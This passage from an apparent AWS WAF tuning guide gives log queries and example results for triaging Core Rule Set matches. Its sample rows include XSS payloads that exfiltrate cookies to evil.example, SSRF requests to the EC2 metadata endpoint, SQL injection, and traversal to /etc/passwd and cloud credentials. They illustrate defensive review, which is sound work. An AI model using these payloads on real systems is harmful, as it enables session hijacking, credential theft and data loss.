timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
AND action = 'ALLOW'
GROUP BY
date_trunc('minute', from_unixtime(timestamp / 1000)),
httprequest.clientip,
httprequest.country,
element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value
ORDER BY request_count DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-604800s END=0s |
fields @timestamp,
bin(5m) as binTime,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
httpRequest.host as host,
action
| filter action = "ALLOW"
| stats count(*) as request_count by clientIp, host, binTime
| sort request_count desc
| limit 100
Example output
| time_bucket | clientIp | country | host | request_count |
|---|---|---|---|---|
| 2026-07-26 14:35:00.000 | 192.0.2.17 | US | api.example.com | 8,742 |
| 2026-07-28 03:10:00.000 | 203.0.113.44 | US | api.example.com | 7,219 |
| 2026-07-25 22:50:00.000 | 192.51.100.88 | US | www.example.com | 6,531 |
| 2026-07-27 09:05:00.000 | 192.0.2.203 | US | api.example.com | 5,104 |
| 2026-07-29 16:20:00.000 | 203.0.113.12 | US | api.example.com | 548 |
| 2026-07-26 08:45:00.000 | 192.51.100.34 | US | www.example.com | 543 |
| 2026-07-30 11:30:00.000 | 192.0.2.91 | US | app.example.com | 539 |
| 2026-07-25 19:15:00.000 | 203.0.113.77 | US | api.example.com | 536 |
| 2026-07-28 07:40:00.000 | 192.51.100.142 | US | www.example.com | 531 |
| 2026-07-27 13:55:00.000 | 192.0.2.56 | US | app.example.com | 528 |
| 2026-07-29 22:10:00.000 | 203.0.113.201 | US | api.example.com | 525 |
| 2026-07-26 04:25:00.000 | 192.51.100.7 | US | www.example.com | 522 |
| 2026-07-30 09:50:00.000 | 192.0.2.164 | US | app.example.com | 519 |
| 2026-07-25 15:05:00.000 | 203.0.113.158 | US | api.example.com | 517 |
| 2026-07-28 20:30:00.000 | 192.51.100.219 | US | www.example.com | 514 |
| 2026-07-27 06:15:00.000 | 192.0.2.38 | US | app.example.com | 511 |
| 2026-07-29 12:40:00.000 | 203.0.113.93 | US | api.example.com | 509 |
| 2026-07-26 18:00:00.000 | 192.51.100.61 | US | www.example.com | 506 |
| 2026-07-30 01:25:00.000 | 192.0.2.127 | US | app.example.com | 503 |
| 2026-07-25 10:50:00.000 | 203.0.113.180 | US | api.example.com | 501 |
How to read these results
Evaluating AWS Managed Rules before switching from Count to Block
When you first add an AWS Managed Rule group to your protection pack, the recommended practice is to set it to Count mode so you can observe what it would have blocked without impacting production traffic. The queries below help you evaluate whether a rule group is safe to switch to Block by showing you exactly what traffic is matching.
The examples use the Core Rule Set (CRS) but the approach is identical for any AWS Managed Rule — just replace the label prefix. Every AMR emits labels when it matches a request, and those labels appear in WAF logs regardless of whether the rule is in Count or Block mode. This means you can evaluate potential impact before enforcing.
Count of rule group matches by endpoint, URI, and HTTP method
This query shows which combinations of host, URI, query string, and HTTP method are triggering any rule in the Core Rule Set, along with how frequently. Use this to quickly identify if the matches are concentrated on a few endpoints (likely legitimate application behavior that needs an exception) or spread broadly across many paths (likely actual attack traffic that is safe to block). Either way, this first query gives you data to dive into specific rules and/or hosts/applications that need deeper inspection.
Athena
SELECT
count(*) AS match_count,
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:core-rule-set:%'), 1).name, ':'), -1) AS coreRuleSet,
element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value AS host,
httprequest.uri AS uri,
httprequest.httpmethod AS httpMethod,
httprequest.args AS args
FROM waf_logs
WHERE
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
AND cardinality(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:core-rule-set:%')) > 0
GROUP BY
element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value,
httprequest.uri,
httprequest.args,
httprequest.httpmethod,
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:core-rule-set:%'), 1).name, ':'), -1)
ORDER BY match_count DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-604800s END=0s |
fields @timestamp,
httpRequest.host as host,
httpRequest.uri as uri,
httpRequest.args as args,
httpRequest.httpMethod as httpMethod,
action
| parse @message /\"name\":\s*\"awswaf:managed:aws:core-rule-set:(?<coreRuleSet>[^"]*)\"/
| filter ispresent(coreRuleSet)
| stats count(*) as match_count by host, uri, args, httpMethod, coreRuleSet
| display count(*), coreRuleSet, host, uri, httpMethod, args
| sort match_count desc
| limit 100
Example output
| match_count | coreRuleSet | host | uri | httpMethod | args |
|---|---|---|---|---|---|
| 47 | CrossSiteScripting_BODY | app.example.com | /api/v2/comments | POST | |
| 27 | CrossSiteScripting_BODY | app.example.com | /api/v2/feedback | POST | |
| 14 | CrossSiteScripting_BODY | app.example.com | /api/v2/notes | POST | |
| 8 | CrossSiteScripting_BODY | app.example.com | /api/v2/tickets | POST | |
| 10 | CrossSiteScripting_BODY | www.example.com | /contact | POST | |
| 18 | CrossSiteScripting_QUERYARGUMENTS | www.example.com | /search | GET | q=<img/src=x onerror=fetch('https://evil.example/steal?c='+document.cookie)> |
| 17 | CrossSiteScripting_QUERYARGUMENTS | www.example.com | /search | GET | searchString=how+do+I+use+%3Cscript%3E+tags+in+HTML&category=webdev |
| 34 | RestrictedExtensions_URIPath | api.example.com | /access.log | GET | |
| 11 | RestrictedExtensions_URIPath | api.example.com | /admin_access.txt.bak | GET | |
| 14 | RestrictedExtensions_URIPath | api.example.com | /mysql_access.log | GET | |
| 9 | RestrictedExtensions_URIPath | api.example.com | /root_access.log | GET | |
| 16 | RestrictedExtensions_URIPath | api.example.com | /ssh_access.txt.bak | GET | |
| 24 | RestrictedExtensions_URIPath | api.example.com | /web.config | GET | |
| 13 | RestrictedExtensions_URIPath | www.example.com | /config.ini | GET | |
| 19 | RestrictedExtensions_URIPath | www.example.com | /database_access.log | GET | |
| 7 | RestrictedExtensions_URIPath | www.example.com | /web-access.txt.bak | GET | |
| 12 | SizeRestrictions_BODY | app.example.com | /api/v2/attachments | POST | |
| 15 | SizeRestrictions_BODY | app.example.com | /api/v2/bulk-import | POST | |
| 21 | SizeRestrictions_BODY | app.example.com | /api/v2/documents/upload | POST | |
| 9 | SizeRestrictions_BODY | app.example.com | /api/v2/profile/avatar | POST | |
| 7 | SizeRestrictions_BODY | app.example.com | /api/v2/reports/export | POST |
How to read these results
By sorting by rule label, then host, then URI, patterns become immediately visible. CrossSiteScripting_BODY is triggering across multiple API endpoints on app.example.com — these could be legitimate user-submitted content (rich text, code snippets) or actual XSS payloads embedded in POST bodies. A good follow-up would be adding terminatingrulematchdetails to a focused query on these endpoints to see exactly what string pattern is matching. CrossSiteScripting_QUERYARGUMENTS on www.example.com/search shows both a clearly malicious payload (the onerror=fetch(...) exfiltration attempt) and a legitimate user searching for how to use <script> tags — the same rule, same endpoint, but one should be blocked and the other would require a scoped exception. RestrictedExtensions_URIPath matches are all probing for sensitive files like /access.log, /web.config, and .txt.bak — this is noise from scanners and is safe to block without further review. SizeRestrictions_BODY is triggering on upload and import endpoints that very likely need to accept large payloads as part of normal application behavior — these are worth further exploration and will likely require exceptions scoped to those specific paths.
Individual requests matching a specific rule label
Once the summary query identifies which rule label is triggering, use this query to inspect the actual requests matching that specific rule. This gives you the detail needed to determine whether matches are legitimate application traffic (false positive) or actual malicious requests. Replace EC2MetaDataSSRF_QUERYARGUMENTS with the specific rule label you are investigating. You might need to add more or custom columns, the query below has the common ones thats directly align with what AMRs inspect (i.e. query string, uri, etc). You will likely run a version of this query per application or per rule and drill in yourself or provide context to an application team to understand if something is going to be a false positive or noise that is OK to block in the future.
Athena
SELECT
from_unixtime(timestamp / 1000) AS log_time,
httprequest.clientip AS clientIp,
httprequest.country AS country,
element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value AS host,
httprequest.uri AS uri,
-- Useful when the rule in question evaluates the query string.
-- httprequest.args AS args,
-- For rules that inspect the body, this shows you the matching component from the body as the full body is not available in WAF logs intentionally
-- nonTerminatingMatchingRules,
httprequest.httpmethod AS httpMethod,
action,
terminatingruleid
FROM waf_logs
WHERE
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
AND cardinality(filter(labels, l -> l.name = 'awswaf:managed:aws:core-rule-set:CrossSiteScripting_BODY')) > 0
ORDER BY timestamp DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-604800s END=0s |
fields @timestamp,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
httpRequest.host as host,
httpRequest.uri as uri,
#httpRequest.args as args,
#nonTerminatingMatchingRules,
httpRequest.httpMethod as httpMethod,
action,
terminatingRuleId
| filter strcontains(@message, "awswaf:managed:aws:core-rule-set:CrossSiteScripting_BODY")
| sort @timestamp desc
| limit 100
Example output
| log_time | clientIp | country | host | uri | httpMethod | action | terminatingruleid | nonTerminatingMatchingRules (matchedData) |
|---|---|---|---|---|---|---|---|---|
| 2026-07-30 14:18:07.000 | 203.0.113.92 | US | app.example.com | /api/v2/comments | POST | ALLOW | Default_Action | <p style="color:red">URGENT</p><img src="https://app.example.com/screenshots/error-412.png" alt="error screenshot"> |
| 2026-07-30 13:41:19.000 | 192.0.2.156 | CA | app.example.com | /api/v2/comments | POST | ALLOW | Default_Action | <table><tr><td>Name</td><td>Status</td></tr></table> |
| 2026-07-30 12:44:38.000 | 192.0.2.88 | US | app.example.com | /api/v2/comments | POST | ALLOW | Default_Action | <img src=x onerror=fetch('https://evil.example/c='+document.cookie)> |
| 2026-07-30 12:59:03.000 | 192.51.100.203 | US | app.example.com | /api/v2/feedback | POST | ALLOW | Default_Action | <a href="https://docs.example.com">see docs</a> |
| 2026-07-30 14:22:31.000 | 192.0.2.41 | US | app.example.com | /api/v2/feedback | POST | ALLOW | Default_Action | <script>new Image().src='https://evil.example/steal?c='+document.cookie</script> |
| 2026-07-30 13:55:42.000 | 192.51.100.18 | US | app.example.com | /api/v2/feedback | POST | ALLOW | Default_Action | <iframe src=//evil.example/phish> |
| 2026-07-30 12:15:44.000 | 192.51.100.67 | US | app.example.com | /api/v2/feedback | POST | ALLOW | Default_Action | <div onmouseover=alert(document.cookie)>click me</div> |
| 2026-07-30 11:58:22.000 | 192.0.2.214 | US | app.example.com | /api/v2/notes | POST | ALLOW | Default_Action | <blockquote>Per the design doc</blockquote><p>I disagree — see <a href="/wiki/RFC-42">RFC-42</a></p> |
| 2026-07-30 12:31:10.000 | 203.0.113.145 | US | app.example.com | /api/v2/tickets | POST | ALLOW | Default_Action | <div class="note"><h3>Steps to Reproduce</h3><ol><li>Click submit</li><li>Page hangs</li></ol></div> |
| 2026-07-30 13:28:55.000 | 203.0.113.27 | US | app.example.com | /api/v2/tickets | POST | ALLOW | Default_Action | <svg/onload=fetch('https://evil.example/exfil')> |
How to read these results
The nonTerminatingMatchingRules (matchedData) column reveals why each request triggered the rule. Sorted by URI, a clear pattern emerges: on /api/v2/comments, /api/v2/feedback, and /api/v2/tickets, you can see both legitimate rich-text content (embedded images with src=, tables, links, structured HTML) alongside obvious attack payloads referencing evil.example with event handlers like onerror, onmouseover, and onload. The legitimate requests are users submitting formatted content through a rich-text editor — these endpoints need a scoped exception for CrossSiteScripting_BODY. The malicious requests should still be caught, which means you would not simply disable the rule entirely but instead build a targeted exception that excludes specific URIs while keeping the rule enforced everywhere else. This is exactly the kind of insight that informs the exception design covered in the next section.
Requests matching a rule label with secondary signal filtering (likely false positives)
This is the same detail query as above but adds Anonymous IP List and Amazon IP Reputation List labels as additional columns, then filters to only show requests that triggered a Core Rule Set label but did not trigger either reputation-based rule group. The logic: if a request has no anonymous IP signal and no IP reputation signal but is still triggering CRS, it is more likely to be legitimate application traffic producing a false positive rather than malicious noise. At scale — dozens, hundreds, or more applications — this type if filtering can dramatically reduces what you need to manually review by excluding the traffic that is almost certainly attack-related (bad reputation, anonymous infrastructure) and surfacing the traffic that actually needs human judgment. Using those AMRs is a good idea, but this is also a good concept you can use other signals. For example, you might restrict to only check traffic from specific countries as anything else is likely noise.
Athena
SELECT
from_unixtime(timestamp / 1000) AS log_time,
httprequest.clientip AS clientIp,
httprequest.country AS country,
element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value AS host,
httprequest.uri AS uri,
httprequest.args AS args,
httprequest.httpmethod AS httpMethod,
element_at(filter(httprequest.headers, h -> lower(h.name) = 'user-agent'), 1).value AS userAgent,
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:core-rule-set:%'), 1).name, ':'), -1) AS coreRuleSet,
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:anonymous-ip-list:%'), 1).name, ':'), -1) AS anonymousIpList,
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:amazon-ip-list:%'), 1).name, ':'), -1) AS amazonIpList,
action,
terminatingruleid
FROM waf_logs
WHERE
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
AND cardinality(filter(labels, l -> l.name = 'awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_QUERYARGUMENTS')) > 0
-- Exclude requests that also triggered reputation-based rules (likely malicious, not FP)
AND cardinality(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:anonymous-ip-list:%')) = 0
AND cardinality(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:amazon-ip-list:%')) = 0
ORDER BY timestamp DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-604800s END=0s |
fields @timestamp,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
httpRequest.host as host,
httpRequest.uri as uri,
httpRequest.args as args,
httpRequest.httpMethod as httpMethod,
action,
terminatingRuleId
| parse @message /\"name\":\s*\"User-Agent\",\s*\"value\":\s*\"(?<userAgent>[^"]*)\"/
| parse @message /\"name\":\s*\"awswaf:managed:aws:core-rule-set:(?<coreRuleSet>[^"]*)\"/
| parse @message /\"name\":\s*\"awswaf:managed:aws:anonymous-ip-list:(?<anonymousIpList>[^"]*)\"/
| parse @message /\"name\":\s*\"awswaf:managed:aws:amazon-ip-list:(?<amazonIpList>[^"]*)\"/
| filter strcontains(@message, "awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_QUERYARGUMENTS")
| filter not ispresent(anonymousIpList)
| filter not ispresent(amazonIpList)
| sort @timestamp desc
| limit 100
Example output
| log_time | clientIp | country | host | uri | args | httpMethod | userAgent | coreRuleSet | anonymousIpList | amazonIpList | action | terminatingruleid |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2026-07-31 18:47:00.000 | 192.0.2.41 | US | api.example.com | /api/proxy | url=http://169.254.169.254/latest/meta-data/iam | GET | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | EC2MetaDataSSRF_QUERYARGUMENTS | HostingProviderIPList | ALLOW | Default_Action | |
| 2026-07-31 18:20:59.000 | 203.0.113.92 | US | www.example.com | /redirect | target=http://169.254.169.254/latest/api/token | GET | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 | EC2MetaDataSSRF_QUERYARGUMENTS | HostingProviderIPList | ALLOW | Default_Action | |
| 2026-07-31 17:56:55.000 | 192.0.2.156 | US | app.example.com | /api/v2/reports | filter=status='active'+OR+status='pending' | GET | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 | SQLi_QUERYARGUMENTS | HostingProviderIPList | ALLOW | Default_Action | |
| 2026-07-31 17:44:35.000 | 203.0.113.27 | US | www.example.com | /search | q=1+UNION+SELECT+password+FROM+users-- | GET | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 | SQLi_QUERYARGUMENTS | ALLOW | Default_Action | ||
| 2026-07-31 17:44:21.000 | 192.0.2.88 | US | api.example.com | /api/v2/comments | POST | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | CrossSiteScripting_BODY | HostingProviderIPList | ALLOW | Default_Action | ||
| 2026-07-31 17:43:06.000 | 192.51.100.203 | US | app.example.com | /api/v2/feedback | POST | Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 | CrossSiteScripting_BODY | ALLOW | Default_Action | |||
| 2026-07-31 17:40:00.000 | 203.0.113.145 | US | www.example.com | /docs/export | format=pdf&template=../shared/header | GET | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | GenericLFI_QueryArguments | HostingProviderIPList | ALLOW | Default_Action | |
| 2026-07-31 15:15:12.000 | 192.0.2.127 | JP | www.example.com | /products | id=1;+DROP+TABLE+orders;-- | GET | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 | SQLi_QUERYARGUMENTS | ALLOW | Default_Action | ||
| 2026-07-31 18:09:36.000 | 192.51.100.18 | US | www.example.com | /app/../../.aws/credentials | GET | Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 | GenericLFI_URIPath | AnonymousIPList | ALLOW | Default_Action | ||
| 2026-07-31 15:33:20.000 | 192.51.100.67 | CN | api.example.com | /index.php | lang=../../../../../../../../tmp/index1 | GET | libredtail-http | GenericLFI_QueryArguments | HostingProviderIPList | ALLOW | Default_Action | |
| 2026-07-31 15:33:18.000 | 192.51.100.67 | CN | api.example.com | /index.php | lang=../../../../../../../../etc/passwd | GET | libredtail-http | GenericLFI_QueryArguments | HostingProviderIPList | ALLOW | Default_Action | |
| 2026-07-31 15:21:40.000 | 203.0.113.77 | IN | 127.0.0.1 | /GponForm/diag_Form | POST | Hello, World | GenericRFI_Body | HostingProviderIPList | AWSManagedIPReputationList | ALLOW | Default_Action | |
| 2026-07-31 17:37:57.000 | 192.0.2.214 | NL | www.example.com | / | GET | NoUserAgent_Header | AnonymousIPList | AWSManagedIPReputationList | ALLOW | Default_Action | ||
| 2026-07-31 16:15:15.000 | 192.0.2.214 | NL | www.example.com | / | GET | NoUserAgent_Header | AnonymousIPList | AWSManagedIPReputationList | ALLOW | Default_Action | ||
| 2026-07-31 17:29:01.000 | 203.0.113.58 | PK | /boaform/admin/formLogin | q=admin | GET | NoUserAgent_Header | HostingProviderIPList | ALLOW | Default_Action | |||
| 2026-07-31 18:09:34.000 | 192.51.100.18 | US | www.example.com | /.env.backup | GET | Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 | RestrictedExtensions_URIPath | AnonymousIPList | ALLOW | Default_Action | ||
| 2026-07-31 18:09:34.000 | 192.51.100.18 | US | www.example.com | /.env.bak | GET | Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 | RestrictedExtensions_URIPath | AnonymousIPList | ALLOW | Default_Action | ||
| 2026-07-31 18:09:34.000 | 192.51.100.18 | US | www.example.com | /.env.bak | GET | Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 | RestrictedExtensions_URIPath | AnonymousIPList | ALLOW | Default_Action | ||
| 2026-07-31 18:09:34.000 | 192.51.100.18 | US | www.example.com | /.env.ini | GET | Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 | RestrictedExtensions_URIPath | AnonymousIPList | ALLOW | Default_Action | ||
| 2026-07-31 18:09:36.000 | 192.51.100.18 | US | www.example.com | /wp-config.php.bak | GET | Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 | RestrictedExtensions_URIPath | AnonymousIPList | ALLOW | Default_Action |
How to read these results
The anonymousIpList and amazonIpList columns add a secondary signal that helps you triage ambiguous matches. Many of these CRS triggers are not obviously malicious from the URI or query string alone — they could be legitimate application behavior. When you see HostingProviderIPList, AnonymousIPList, or AWSManagedIPReputationList alongside the match, that additional context — combined with the triggering rule and the application in question — helps you assess whether the request warrants concern. A hosting provider IP is not automatically malicious — many legitimate services and integrations operate from cloud infrastructure. But if your application's expected audience is end users browsing from residential or corporate IPs, a request from a hosting provider that also triggers a CRS rule is much less likely to be legitimate traffic. Requests with those labels are far more likely to be noise than legitimate traffic worth investigating further. Rows without any reputation signal are the ones that actually need your attention — those are where you need to determine if the match is a false positive or a real attack from a clean source. This example shows 20 rows, but in production you might have dozens or hundreds of matches. Filtering out the easy ones like this reduces how many of the most difficult-to-classify requests you need to manually review or delegate to application teams.